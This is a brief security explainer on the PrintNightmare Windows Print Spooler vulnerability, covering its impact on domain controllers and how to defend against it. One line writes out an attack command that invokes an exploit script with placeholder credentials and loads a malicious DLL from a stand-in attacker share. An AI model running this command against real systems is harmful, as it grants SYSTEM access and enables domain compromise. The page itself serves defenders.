What is PrintNightmare?

PrintNightmare (CVE-2021-34527, with the related CVE-2021-1675) is a flaw in the Windows Print Spooler service. Its RpcAddPrinterDriverEx call could be made to load an attacker-controlled DLL as a printer driver, running code as SYSTEM, remotely or locally. Because the Spooler runs on domain controllers, an authenticated user could reach SYSTEM on a DC and compromise the domain. Defend by patching, disabling the Spooler where it is not needed (especially on DCs), and restricting driver installation.

HOW IT WORKS

01 How the attack works

An authenticated attacker points the Spooler at a malicious driver DLL on a share via RpcAddPrinterDriverEx, using a tool such as `CVE-2021-1675.py` `<domain>/<user>:<pass>@<target>` `'\\attacker\share\evil.dll'` (or SharpPrintNightmare locally). The Spooler loads it as SYSTEM, giving remote code execution or local privilege escalation, and on a DC that means domain compromise. Shown for defensive testing.

SOURCES

[1] MITRE ATT&CK Enterprise Matrix

[2] Microsoft: CVE-2021-34527 Windows Print Spooler RCE

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/printnightmare

Open online